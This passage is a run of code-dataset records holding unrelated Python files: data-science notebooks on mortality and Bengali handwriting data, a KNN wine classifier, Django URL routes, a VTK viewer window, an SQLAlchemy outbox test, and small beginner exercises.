pd.read_csv(\"2015_data.csv\", nrows = 20000, low_memory = False)\n\n\n# In[ ]:\n\n\n\n\n\n# In[16]:\n\n\n#df.head(100)\n\n\n# \n# \n\n# In[17]:\n\n\n# Analyze the data to determine what can be cleaned, to understand the types of values/inputs. \nfor col in df:\n    print(col)\n    print(df[col].unique())\n\n\n# In[18]:\n\n\n# Get number of data records and features.\ndf.shape\n\n\n# In[19]:\n\n\n# Determine how many fields with actual data (not NA fields).\n#df.count()\n\n\n# In[20]:\n\n\n'''\nLots of missing data:\n\n- education_1989_revision - lots without data\n- age_substitution_flag - Lots without data\n- infant_age_recode_22 - lots without data\n- activity_code - many without data\n- place_of_injury_for_causes_w00_y34_except_y06_and_y07_ - many without data\n- 130_infant_cause_recode - many without data\n- remove entity_condition_19-entity_condition_20\n- remove record_condition_3-20\n- bridged_race_flag, race_imputation_flag can be removed \n\n'''\n\n'''\nA few nan values:\n- manner_of_death\n- education_2003_revision\n'''\n\ncols_to_remove = [\"education_1989_revision\", \"age_substitution_flag\", \"infant_age_recode_22\", \"activity_code\", \"place_of_injury_for_causes_w00_y34_except_y06_and_y07_\", \"130_infant_cause_recode\", \"entity_condition_19\", \"entity_condition_20\", \"record_condition_3\", \"record_condition_4\", \"record_condition_5\", \"record_condition_6\", \"record_condition_7\", \"record_condition_8\", \"record_condition_9\", \"record_condition_10\", \"record_condition_11\", \"record_condition_12\", \"record_condition_13\", \"record_condition_14\", \"record_condition_15\", \"record_condition_16\", \"record_condition_17\", \"record_condition_18\", \"record_condition_19\", \"record_condition_20\", \"bridged_race_flag\", \"race_imputation_flag\"]\n\n# Remove the fields that don't contribute enough data (nan fields).\ncols_to_keep = []\nfor col in df:\n    if col not in cols_to_remove:\n        cols_to_keep.append(col)\n        \nprint(cols_to_keep)        \n\n\n# In[21]:\n\n\n# Create the new data frame with only the features we care about/have enough data.\ndf = df[cols_to_keep]\n\n\n# In[22]:\n\n\ndf.shape\n\n\n# In[23]:\n\n\n#df.count()\n\n\n# In[24]:\n\n\n'''\nNeed to weed out features:\n- entity_condition_3-18\n'''\ncols_to_remove = [\"entity_condition_3\", \"entity_condition_4\", \"entity_condition_5\", \"entity_condition_6\", \"entity_condition_7\", \"entity_condition_8\", \"entity_condition_9\", \"entity_condition_10\", \"entity_condition_11\", \"entity_condition_12\", \"entity_condition_13\", \"entity_condition_14\", \"entity_condition_15\", \"entity_condition_16\", \"entity_condition_17\", \"entity_condition_18\"]\n\n# Remove the fields that don't contribute enough data (nan fields).\ncols_to_keep = []\nfor col in df:\n    if col not in cols_to_remove:\n        cols_to_keep.append(col)\n        \nprint(cols_to_keep)        \n\n\n# In[25]:\n\n\n# Update the data frame.\ndf = df[cols_to_keep]\n\n\n# In[26]:\n\n\ndf.shape\n\n\n# In[27]:\n\n\n#df.count()\n\n\n# In[28]:\n\n\n# Since classification problem is tied to manner of death, do not want to include any rows without this information.\n#df = df[pd.notnull(df['manner_of_death'])]\n\n\n# In[29]:\n\n\ndf.shape\n\n\n# In[30]:\n\n\n# See how this manipulation of the number of records has affected counts. More to weed out?\n#df.count()\n\n\n# In[31]:\n\n\n'''\nWeed out entity_condition_2, record_condition_2\n'''\n\ncols_to_remove = [\"entity_condition_2\", \"record_condition_2\"]\n\n# Remove the fields that don't contribute enough data (nan fields).\ncols_to_keep = []\nfor col in df:\n    if col not in cols_to_remove:\n        cols_to_keep.append(col)\n\n\n# In[32]:\n\n\ndf = df[cols_to_keep]\ndf.shape\n\n\n# In[33]:\n\n\n#df.count()\n\n# Now see that the only field field with nan value is: education_2003_revision.\n\n\n# In[34]:\n\n\n# Since education_2003_revision only has values 1-9, we can change the nan fields to contain 0's instead.\ndf[\"education_2003_revision\"].fillna(0, inplace=True)\ndf['manner_of_death'].fillna(0, inplace=True)\n\n\n# In[35]:\n\n\n# Compute pairwise correlation of all features.\ncorrelation = df.corr()\nplt.figure(figsize=(10,10))\nsns.heatmap(correlation, vmax=1, square=True,annot=True,cmap='cubehelix')\nplt.title(\"Correlation between different features\")\n\n\n# In[36]:\n\n\n# We can drop the highly coorelated values. (> .7)\ndf = df.drop(['education_reporting_flag'], axis = 1)\ndf = df.drop(['age_recode_12'], axis = 1)\ndf = df.drop(['age_recode_27'], axis = 1)\ndf = df.drop(['age_recode_52'], axis = 1)\ndf = df.drop(['39_cause_recode'], axis = 1)\ndf = df.drop(['358_cause_recode'], axis = 1)\ndf = df.drop(['race_recode_5'], axis = 1)\n\n\n# In[ ]:\n\n\n\n\n\n# In[37]:\n\n\n# In order to use PCA, data cannot contain string (needs numerical data).\n# Solution: Use LabelEncoder on data that is ordinal. Use OneHotEncoder on data that is NOT ordinal.\n# The following fields are non-numerical: sex, autopsy, marital_status, injury_at_work, method_of_disposition, icd_code_10th_revision,\n#                                         entity_condition_1, record_condition_1\n# Since non of these are ordinal, we will one hot encode all of them\ncols_to_one_hot_encode = [\"autopsy\", \"method_of_disposition\", \"sex\",\"marital_status\", \"injury_at_work\", \"icd_code_10th_revision\", \"entity_condition_1\", \"record_condition_1\"]\n\nfor col in cols_to_one_hot_encode:\n    print(col)\n    df[col] = pd.Categorical(df[col])\n    df_dummies = pd.get_dummies(df[col], prefix = col)\n    df = pd.concat([df, df_dummies], axis = 1)\n    df = df.drop([col], axis = 1)\ndf.info()\n\n\n# In[38]:\n\n\n'''\nFeature engineering\nWant to use one-hot encoding on non-linear features because don't want to imply a relationship that isn't there is there.\n\n99 - not stated education_1989_revision (replace all 99's with nan, replace nan's with avg)\n9 - unknown education_2003_revision\neducation_reporting_flag - tells which of above items on certificate of death\nneed all the age_recodes? Or just pick one?\nJust pick one of these or chop the one's with it unknown?\nUse PCA first, then check correlations. Then can decide what to drop.\n\n\nage_substitution_flag - calculated age substitutions\n\n\nplace of death - first 3 are same?, where is 8?, 9-unknown - one hot encode, look at PCA output\n\n\ncurrent_data_year - not relevant (all 2015) but will be when mix in other datasets\n\nmanner of death - one hot encode\n\nmethod_of_disp - one hot\n\nicd_code_10th_revision - unsure what it is, may use in PCA but might scrap later\n\nhot encode cause_recodes (scrap 2, keep 1?) - PCA \n\nnumber_of_entity_axis_conditions, entity_condition_1, number_of_record_axis_conditions?, record_condition_1?\n\n\nrace - hot encode\n\nrace_recodes - PCA \n\nhispanic_origin - hot encode (scrap hispanic_originrace_recode)\n\n'''\n\n\n# In[39]:\n\n\n#pca.explained_variance_ratio_\n\n\n# In[40]:\n\n\ndf.describe()\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[41]:\n\n\nfor col in df:\n    print(col)\n\n\n# In[42]:\n\n\n# Taken from: https://towardsdatascience.com/pca-using-python-scikit-learn-e653f8989e60\n\n# Separate out the target (sex) for classification.\n# Hack because 2 values for both sex_M and sex_F so both sets of data present the sex with the encoding. Can just pick 1.\ny = df.loc[:, ['manner_of_death']].values\n\ndf = df.drop(['manner_of_death'], axis = 1)\n\n# Separate out the features.\nfeatures =  list(df.columns.values)\nx = df.loc[:, features].values\n\n# test_size: what proportion of original data is used for test set\ntrain, test, train_label, test_label = train_test_split( x, y, test_size=1/7.0, random_state=0)\n\nscaler = StandardScaler()\n# Fit on training set only.\n\nscaler.fit(train)\n# Apply transform to both the training set and the test set.\ntrain = scaler.transform(train)\ntest = scaler.transform(test)\n\n\n# In[43]:\n\n\n# Make an instance of the Model\npca = PCA(.95)\n\n\n# In[ ]:\n\n\n\n\n\n# In[44]:\n\n\npca.fit(train)\n\n\n# In[45]:\n\n\ntrain = pca.transform(train)\ntest = pca.transform(test)\n\n\n# In[46]:\n\n\n# all parameters not specified are set to their defaults\n# default solver is incredibly slow which is why it was changed to 'lbfgs'\nlogisticRegr = LogisticRegression(solver = 'lbfgs')\n\n\n# In[ ]:\n\n\n\n\n\n# In[47]:\n\n\n#logisticRegr.score(test, test_label)\n\n\n# In[48]:\n\n\n'''# Standardize the data before performing PCA. Needs to be on unit scale for optimal performance of algorithms.\n# Separate out the features.\nfeatures =  list(df.columns.values)\nx = df.loc[:, features].values\n\n# Separate out the target (sex) for classification.\n# Hack because 2 values for both sex_M and sex_F so both sets of data present the sex with the encoding. Can just pick 1.\ny = df.loc[:, ['sex_M']].values\n\nx = StandardScaler().fit_transform(x)\n\npca = PCA(n_components = 2)\n\nprincipal_components = pca.fit_transform(x)\n\nprincipal_df = pd.DataFrame(data = principal_components, columns = ['principal_component_1', 'principal_component_2'])\n\nresult_df = pd.concat([principal_df, df[['sex_M']]], axis = 1)\n\n# Plot the result.\nfig = plt.figure(figsize = (8,8))\naxis = fig.add_subplot(1,1,1)\naxis.set_xlabel('Principal Component 1', fontsize = 15)\naxis.set_ylabel('Principal Component 2', fontsize = 15)\naxis.set_title('2 Component PCA', fontsize = 20)\n\ntargets = [0, 1]\ncolors = ['r', 'g']\nfor target, color in zip(targets,colors):\n    indices_to_keep = result_df['sex_M'] == target\n    axis.scatter(result_df.loc[indices_to_keep, 'principal_component_1'], result_df.loc[indices_to_keep, 'principal_component_2'], c = color, s = 50)\n    \naxis.legend(targets)\naxis.grid()\n'''\n\n\n# In[49]:\n\n\nlogisticRegr.fit(train, train_label)\n\n\n# In[50]:\n\n\nlogisticRegr.score(train, train_label)\n\n\n# In[51]:\n\n\nprint('Coefficient: \\n', logisticRegr.coef_)\nprint('Intercept: \\n', logisticRegr.intercept_)\n\n\n# In[52]:\n\n\ntest.shape\n\n\n# In[53]:\n\n\n#logisticRegr.predict(test)\npredicted = logisticRegr.predict(test[0].reshape(1,-1))\n\n\n# In[54]:\n\n\nprint(predicted)\n\n\n# In[55]:\n\n\nlogisticRegr.score(test, test_label)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"morgan-burcham/Cause_of_death","sub_path":"Project1.py","file_name":"Project1.py","file_ext":"py","file_size_in_byte":11015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"33284427490","text":"x = True\nwhile x:\n    a = input(\"Ten dang nhap cua ban: \")\n    b = input(\"Mat khau cua ban: \")\n    c = input(\"email: \")\n    d = input(\"Nhap lai mat khau: \")\n    if b==d:\n        print(\"Mat khau giong nhau:\")\n        x = False\n    else:\n        print(\"Ban can nhap lai:\")","repo_name":"nghia992004/C4T39-Nam-Nghia","sub_path":"season7/registration2.py","file_name":"registration2.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"35875933315","text":"\"\"\"String resources for :class:`extutils`.\"\"\"\nfrom django.utils.translation import gettext_lazy as _\n\n__all__ = (\"DateTime\",)\n\n\nclass DateTime:\n    \"\"\"String resources for :class:`extutils.dt`.\"\"\"\n\n    @staticmethod\n    def get_time_expr(hours: int, minutes: int, seconds: int, days: int = None):\n        \"\"\"\n        Get the time expression.\n\n        If ``days`` are given and > 3, returned expression will be in the format of **dd Days hh H mm M ss S**.\n\n        If ``days`` are either not given (being ``None``) or <= 3, returned expression will be in the format of\n        **hhh H mm M ss S**.\n\n        :param hours: hours in time\n        :param minutes: minutes in time\n        :param seconds: second in time\n        :param days: days in time\n        :return: formatted expression of the time\n        \"\"\"\n        str_dict = {\n            \"d\": days,\n            \"h\": hours,\n            \"m\": minutes,\n            \"s\": seconds\n        }\n\n        if days:\n            if days > 3:\n                return _(\"%(d)d Days %(h)d H %(m)02d M %(s)02d S\") % str_dict\n\n            str_dict[\"h\"] += days * 24\n\n        return _(\"%(h)d H %(m)02d M %(s)02d S\") % str_dict\n","repo_name":"RxJellyBot/Jelly-Bot","sub_path":"strres/extutils.py","file_name":"extutils.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"}
+{"seq_id":"71980509815","text":"from lib.ytb_vip.ytb_uploader import *\nfrom lib.ytb_vip.ytb_info import *\nfrom lib.ixigua_spy.spy import Ixigua_Spyder\nfrom threading import Thread\n\nDATA_DIR = \"data\"\n\ndef getAccountList(parent_dir):\n    arr = []\n    for dire in os.listdir(parent_dir):\n        if os.path.isdir(os.path.join(parent_dir, dire)):\n            arr.append(dire)\n    return arr\n\ndef spyder_ixigua():\n    ixigua_spyder = Ixigua_Spyder()\n    ixigua_spyder.getListVideo\n\ndef main():\n    accountList = getAccountList(DATA_DIR)\n    spy_thread = Thread(target=spyder_ixigua)\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"laixuanthoi/ixigua_to_ytb_python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"72321784057","text":"from django.urls import path, include\nfrom .views import *\nfrom knox.views import LogoutView\n\nurlpatterns = [\n    path('auth/', include('knox.urls')),\n    path('auth/delete_account', delete_account, name='delete_account'),\n    path('auth/login', LoginAPIView.as_view()),\n    path('auth/logout', LogoutView.as_view(), name='knox_logout'),\n    path('auth/password_reset', PasswordAPIView.as_view()),\n    path('auth/register', RegisterAPIView.as_view()),\n    path('auth/security_question', get_security_question, name='get_security_question'),\n    path('auth/user', UserAPIView.as_view()),\n    path('auth/user/update/profile', update_profile, name='update_profile'),\n    path('polls/<club_id>/<page_number>', PollListView.as_view()),\n    path('polls/vote', vote, name='vote'),\n    path('recents', RecentBooksView.as_view()),\n    path('reserve', reserve, name=\"reserve\"),\n    path('reserve/delete', ReserveDelete.as_view()),\n    path('series/<page_number>', SeriesListView.as_view()),\n    path('series/genre/<series_genre>/<page_number>', SeriesByGenreView.as_view()),\n    path('series/detail/<series_title>', SeriesByTitleDetailView.as_view()),\n    path('shared/<club_id>/<page_number>', SharedAccessListView.as_view()),\n    path('request_shared_access', SharedAccessRequest.as_view()),\n    path('access_request_respond', SharedAccessRequestResponse.as_view())\n]","repo_name":"magnusbil/tamanga_club","sub_path":"club/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"41238119962","text":"\"\"\" Faça um Programa que peça duas notas de 5 alunos, calcule e armazene num \nvetor a média de cada aluno, imprima o número de alunos com média maior ou igual a 7.0 \"\"\"\n\n\ndef student_notes_vetor():\n    alunos_acima = 0\n    medias = []\n\n    for aluno in range(5):\n\n        notas = 0\n        for nota in range(2):\n            print(\"Digite a \", nota + 1, \"nota do \", aluno + 1, \"aluno:\")\n            notas += int(input())\n\n        medias.append(notas / 2)\n\n        if medias[aluno] >= 7.0:\n            alunos_acima += 1\n\n    print(f\"Médias acima de 7: {alunos_acima}\")\n\n\nstudent_notes_vetor()\n","repo_name":"moreirak14/facily-aceleradev-python-exercise-list","sub_path":"src/exercise4/student_notes_vetor.py","file_name":"student_notes_vetor.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"29104474152","text":"#метод K ближайших соседей, выбор оптимального по качеству К, как влияет нормализация признаков\nimport numpy as np\nimport pandas as pd\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import KFold\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.preprocessing import StandardScaler\n\ndata = pd.read_csv('wine.txt')\n# Извлеките из данных признаки и классы.\n# Класс записан в первом столбце (три варианта), признаки — в столбцах со второго по последний.\ndata1=data['Class']\ndata2=data.drop(['Class'],axis=1)\n\nrazb=KFold(n_splits=5,shuffle=True,random_state=42)\n\nqual=[0 for i in range(50)]\nqual_scaled=[0 for i in range(50)]\nfor k in range(1,50):\n    sum=0\n    sum_scaled=0\n    kNN_classify=KNeighborsClassifier(n_neighbors=k)\n    for train, test in razb.split(data2):\n        train2=data2.filter(train,axis=0)\n        train1=data1.filter(train,axis=0)\n        kNN_classify.fit(train2,train1)\n        rep=kNN_classify.predict(data2.filter(test,axis=0))\n        sum=sum+accuracy_score(data1.filter(test,axis=0),rep)\n\n        S=StandardScaler()\n        train2_scaled=S.fit_transform(train2)\n        test_scaled=S.transform(data2.filter(test,axis=0))\n        kNN_classify.fit(train2_scaled,train1)\n        rep_scaled=kNN_classify.predict(test_scaled)\n        sum_scaled=sum_scaled+accuracy_score(data1.filter(test,axis=0),rep_scaled)\n    qual[k-1]=sum/5\n    qual_scaled[k-1]=sum_scaled/5\n\nMAX_qual=np.max(qual)\nMAX_qual_scaled=np.max(qual_scaled)\nK_max=np.argmax(qual)+1\nK_max_scaled=np.argmax(qual_scaled)+1\nprint('k=',K_max,';','quality=',round(MAX_qual,2))\nprint('k_scaled=',K_max_scaled,';','quality=',round(MAX_qual_scaled,2))\n","repo_name":"megapepper/basics_of_machine_learning","sub_path":"2_week_statement_neighbours/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"857685296","text":"import json\r\nwith open(\"C://Users//muthuthillai.thina//downloads//words.json\",\"r\",encoding=\"utf-8\")as word:\r\n    data=word.read()\r\njson_1=json.loads(data)#-->[{}{}{}]---:{\"word\":\"home\"}\r\ndict_1={}\r\ndic_final={}\r\nfor dic in json_1:\r\n    key=dic[\"word\"]#\"home\"#key\r\n    value=dic[\"meanings\"]\r\n    for part in value:\r\n        list=[]\r\n        key_1=part[\"partOfSpeech\"]#noun\r\n        deff=part[\"definitions\"]#\r\n        for defi in deff:\r\n                    \r\n            list.append(defi[\"definition\"])\r\n            # print(list)\r\n            dict_1[key_1]=list#value\r\n        #print(dict_1)\r\n    dic_final[key]=dict_1\r\n    print(dic_final)\r\nwith open(\"C://Users//muthuthillai.thina//downloads//wor.json\",\"w\")as wor:\r\n    wor.write(json.dumps(dic_final, indent=1))\r\n\r\n        \r\n\r\n\r\n\r\n\r\n","repo_name":"Thinalakshmi/Assignment-submission-","sub_path":"json 1.py","file_name":"json 1.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"32465914458","text":"import os\nimport vtk\nfrom vtk.qt.QVTKRenderWindowInteractor import QVTKRenderWindowInteractor\nfrom PyQt5.QtWidgets import QProgressDialog, QMessageBox, QFileDialog\nfrom PyQt5.QtCore import QThread, QTimer, Qt\nfrom otter.plugins.common.LoadFileEvent import LoadFileEvent\nfrom otter.plugins.common.ExodusIIReader import ExodusIIReader\nfrom otter.plugins.common.VTKReader import VTKReader\nfrom otter.plugins.common.PetscHDF5Reader import PetscHDF5Reader\nfrom otter.plugins.common.OtterInteractorStyle3D import OtterInteractorStyle3D\nfrom otter.plugins.common.OtterInteractorStyle2D import OtterInteractorStyle2D\nfrom otter.plugins.PluginWindowBase import PluginWindowBase\nfrom otter.plugins.viz.ParamsWindow import ParamsWindow\nfrom otter.plugins.viz.ToolBar import ToolBar\nfrom otter.plugins.viz.BackgroundProps import BackgroundProps\nfrom otter.plugins.viz.FileProps import FileProps\nfrom otter.plugins.viz.TextProps import TextProps\n\n\nclass LoadThread(QThread):\n    \"\"\" Worker thread for loading data set files \"\"\"\n\n    def __init__(self, file_name):\n        super().__init__()\n        if file_name.endswith('.e') or file_name.endswith('.exo'):\n            self._reader = ExodusIIReader(file_name)\n        elif file_name.endswith('.vtk'):\n            self._reader = VTKReader(file_name)\n        elif file_name.endswith('.h5'):\n            self._reader = PetscHDF5Reader(file_name)\n        else:\n            self._reader = None\n\n    def run(self):\n        self._reader.load()\n\n    def getReader(self):\n        return self._reader\n\n\nclass MainWindow(PluginWindowBase):\n    \"\"\"\n    Window for displaying the result\n    \"\"\"\n\n    def __init__(self, plugin):\n        super().__init__(plugin)\n        self._props = []\n        self._file_name = None\n        self._vtk_renderer = vtk.vtkRenderer()\n        self._load_thread = None\n        self._progress = None\n\n        self.setupWidgets()\n        self.setupMenuBar()\n        self.setupToolBar()\n        self.updateWindowTitle()\n\n        self.setAcceptDrops(True)\n\n        self._vtk_interactor.SetInteractorStyle(\n            vtk.vtkInteractorStyleTrackballCamera())\n\n        # set anti-aliasing on\n        self._vtk_renderer.SetUseFXAA(True)\n        self._vtk_render_window.SetMultiSamples(1)\n\n        self._vtk_interactor.Initialize()\n        self._vtk_interactor.Start()\n\n        self.clear()\n        self.show()\n        self.updateMenuBar()\n\n        self._update_timer = QTimer()\n        self._update_timer.timeout.connect(self.onUpdateWindow)\n        self._update_timer.start(250)\n\n    def setupWidgets(self):\n        self._vtk_widget = QVTKRenderWindowInteractor(self)\n        self._vtk_widget.GetRenderWindow().AddRenderer(self._vtk_renderer)\n        self.setCentralWidget(self._vtk_widget)\n        self._vtk_render_window = self._vtk_widget.GetRenderWindow()\n        self._vtk_interactor = self._vtk_render_window.GetInteractor()\n\n        self._params_window = ParamsWindow(self)\n\n        self._bkgnd_props = BackgroundProps(self)\n\n    def setupMenuBar(self):\n        file_menu = self._menubar.addMenu(\"File\")\n        self._new_action = file_menu.addAction(\n            \"New\", self.onNewFile, \"Ctrl+N\")\n        self._open_action = file_menu.addAction(\n            \"Open\", self.onOpenFile, \"Ctrl+O\")\n        self._recent_menu = file_menu.addMenu(\"Open Recent\")\n        self.buildRecentFilesMenu()\n        file_menu.addSeparator()\n        self._close_action = file_menu.addAction(\n            \"Close\", self.onClose, \"Ctrl+W\")\n        file_menu.addSeparator()\n        self._render_action = file_menu.addAction(\n            \"Render\", self.onRender, \"Ctrl+Shift+R\")\n\n        view_menu = self._menubar.addMenu(\"View\")\n        self._view_objects_action = view_menu.addAction(\n            \"Objects\", self.onViewObjects)\n        self._view_objects_action.setCheckable(True)\n\n    def updateMenuBar(self):\n        self._view_objects_action.setChecked(self._params_window.isVisible())\n\n    def setupToolBar(self):\n        self._toolbar = ToolBar(self)\n\n    def updateWindowTitle(self):\n        title = \"Viz\"\n        if self._file_name is None:\n            self.setWindowTitle(title)\n        else:\n            self.setWindowTitle(\"{} \\u2014 {}\".format(\n                title, os.path.basename(self._file_name)))\n\n    def _updateViewModeLocation(self):\n        pass\n\n    def getVtkRenderer(self):\n        return self._vtk_renderer\n\n    def getVtkInteractor(self):\n        return self._vtk_interactor\n\n    def resizeEvent(self, event):\n        super().resizeEvent(event)\n        self.updateToolBarGeometry()\n        self.updateParamsWindowGeometry()\n\n    def dragEnterEvent(self, event):\n        if event.mimeData().hasUrls():\n            event.accept()\n        else:\n            event.ignore()\n\n    def dropEvent(self, event):\n        if event.mimeData().hasUrls():\n            event.setDropAction(Qt.CopyAction)\n            event.accept()\n\n            file_names = []\n            for url in event.mimeData().urls():\n                file_names.append(url.toLocalFile())\n            if len(file_names) > 0:\n                self.loadFile(file_names[0])\n        else:\n            event.ignore()\n\n    def event(self, e):\n        if e.type() == LoadFileEvent.TYPE:\n            self.loadFile(e.fileName())\n            return True\n        else:\n            return super().event(e)\n\n    def closeEvent(self, event):\n        super().closeEvent(event)\n\n    def clear(self):\n        self._vtk_renderer.RemoveAllViewProps()\n        self._params_window.clear()\n        self._params_window.addPipelineItem(self._bkgnd_props)\n\n    def onUpdateWindow(self):\n        self._vtk_render_window.Render()\n\n    def loadFile(self, file_name):\n        self._load_thread = LoadThread(file_name)\n        if self._load_thread.getReader() is not None:\n            self._progress = QProgressDialog(\n                \"Loading {}...\".format(os.path.basename(file_name)),\n                None, 0, 0, self)\n            self._progress.setWindowModality(Qt.WindowModal)\n            self._progress.setMinimumDuration(0)\n            self._progress.show()\n\n            self._load_thread.finished.connect(self.onFileLoadFinished)\n            self._load_thread.start(QThread.IdlePriority)\n        else:\n            self._load_thread = None\n            QMessageBox.critical(\n                None,\n                \"Unsupported file format\",\n                \"Selected file in not in a supported format.\\n\"\n                \"We support the following formats:\\n\"\n                \"  ExodusII, VTK Unstructured Grid, HDF5 (PETSc)\")\n\n    def onFileLoadFinished(self):\n        reader = self._load_thread.getReader()\n\n        self._progress.hide()\n        self._progress = None\n\n        if reader.getDimensionality() == 3:\n            style = OtterInteractorStyle3D(self)\n        else:\n            style = OtterInteractorStyle2D(self)\n        self._vtk_interactor.SetInteractorStyle(style)\n\n        file_name = reader.getFileName()\n        self.addToRecentFiles(file_name)\n        self._file_name = file_name\n        self.updateWindowTitle()\n\n        file_props = FileProps(reader, self)\n        file_props.setWindowTitle(\"File\")\n        self._params_window.addPipelineItem(file_props)\n\n        actors = file_props.getVtkActor()\n        if isinstance(actors, list):\n            for act in actors:\n                self._vtk_renderer.AddViewProp(act)\n        self.resetCamera()\n\n    def onClose(self):\n        self.close()\n\n    def onNewFile(self):\n        self.clear()\n\n    def onOpenFile(self):\n        file_name, _ = QFileDialog.getOpenFileName(\n            self,\n            'Open File',\n            \"\",\n            \"ExodusII files (*.e *.exo)\"\n            \"HDF5 PETSc files (*.h5);;\"\n            \"VTK Unstructured Grid files (*.vtk)\")\n        if file_name:\n            self.loadFile(file_name)\n\n    def onRender(self):\n        pass\n\n    def onAddText(self):\n        props = TextProps(self)\n        props.setWindowTitle(\"Text\")\n        self._params_window.addPipelineItem(props)\n        props.show()\n\n        actor = props.getVtkActor()\n        if actor is not None:\n            self._vtk_renderer.AddViewProp(actor)\n\n    def onAddFile(self):\n        file_name, f = QFileDialog.getOpenFileName(\n            self,\n            'Open File',\n            \"\",\n            \"ExodusII files (*.e *.exo)\"\n            \"HDF5 PETSc files (*.h5);;\"\n            \"VTK Unstructured Grid files (*.vtk)\")\n        if file_name:\n            self.loadFile(file_name)\n\n    def remove(self, props):\n        actor = props.getVtkActor()\n        if actor is not None:\n            self._vtk_renderer.RemoveViewProp(actor)\n\n    def updateToolBarGeometry(self):\n        self._toolbar.adjustSize()\n        margin = 10\n        width = self.geometry().width() - (2 * margin)\n        height = 32\n        left = margin\n        top = margin\n        self._toolbar.setGeometry(left, top, width, height)\n\n    def updateParamsWindowGeometry(self):\n        toolbar_geom = self._toolbar.geometry()\n\n        self._params_window.adjustSize()\n        margin = 10\n        top = margin + toolbar_geom.height() + (margin / 2)\n        height = self.geometry().height() - top - margin\n        left = margin\n        self._params_window.setGeometry(\n            left, top, self._params_window.width(), height)\n\n    def onViewObjects(self):\n        if self._params_window.isVisible():\n            self._params_window.hide()\n        else:\n            self._params_window.show()\n        self.updateMenuBar()\n\n    def resetCamera(self):\n        camera = self._vtk_renderer.GetActiveCamera()\n        focal_point = camera.GetFocalPoint()\n        camera.SetPosition(focal_point[0], focal_point[1], 1)\n        camera.SetRoll(0)\n        self._vtk_renderer.ResetCamera()\n\n    def onClicked(self, pt):\n        pass\n","repo_name":"andrsd/otter","sub_path":"otter/plugins/viz/MainWindow.py","file_name":"MainWindow.py","file_ext":"py","file_size_in_byte":9736,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"23384665278","text":"from sqlalchemy.orm import Session\n\nfrom python_outbox.generic.publisher import VoidPublisher\nfrom python_outbox.sqlalchemy_outbox.sqlalchemy_mapper import SQLAlchemyStorageBoxMapper\nfrom python_outbox.sqlalchemy_outbox.sqlalchemy_producer import (\n    SQLAlchemyStorageBoxProducer,\n)\nfrom python_outbox.sqlalchemy_outbox.sqlalchemy_source import SQLAlchemyStorageBoxSource\nfrom python_outbox.sqlalchemy_outbox.sqlalchemy_storage_box import (\n    SQLAlchemyPydanticStorageBox,\n)\n\n\ndef test_sqlalchemy_storage_box_producer(dbsession: Session):\n    with dbsession:\n        source = SQLAlchemyStorageBoxSource(dbsession)\n        mapper = SQLAlchemyStorageBoxMapper()\n        publisher = VoidPublisher()\n        producer = SQLAlchemyStorageBoxProducer(\n            source=source, mapper=mapper, publisher=publisher\n        )\n        first_run = producer.produce()\n\n        assert first_run == 0\n\n        item = SQLAlchemyPydanticStorageBox(payload={\"key\": \"value\"})\n        dbsession.add(item)\n        dbsession.commit()\n        second_run = producer.produce()\n        assert second_run == 1\n\n        third_run = producer.produce()\n\n        assert third_run == 0\n","repo_name":"Smixi/python-outbox","sub_path":"tests/sqlalchemy_outbox/test_producer.py","file_name":"test_producer.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"69947987258","text":"# This Python 3 environment comes with many helpful analytics libraries installed\n\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n\n# For example, here's several helpful packages to load in \n\n\n\nimport numpy as np # linear algebra\n\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\n\n\nimport matplotlib.pyplot as plt\n\n\n\n# Input data files are available in the \"../input/\" directory.\n\n# For example, running this (by clicking run or pressing Shift+Enter) will list all files under the input directory\n\n\n\nimport os\n\nfor dirname, _, filenames in os.walk('/kaggle/input'):\n\n    for filename in filenames:\n\n        print(os.path.join(dirname, filename))\n\n\n\n# Any results you write to the current directory are saved as output.\nWIDTH=137\n\nHEIGHT=236\n\nBATCHSIZE = 36\n\nVALIDATION_SIZE = .2\ntrain = pd.read_csv(\"/kaggle/input/bengaliai-cv19/train.csv\")\n\np1 = pd.read_parquet(\"/kaggle/input/bengaliai-cv19/test_image_data_0.parquet\")\nparquet_file = \"/kaggle/input/bengaliai-cv19/train_image_data_1.parquet\"\n\n\n\n# def process_parquet(parquet_file):\n\nparquet = pd.read_parquet(parquet_file).iloc[:,:]\n\n# print(parquet.shape)\n\nlabels = pd.DataFrame(parquet.iloc[:,0]).merge(train, on = 'image_id', how = 'left')\n\nimg = parquet.iloc[:,1:].values.reshape(-1, WIDTH, 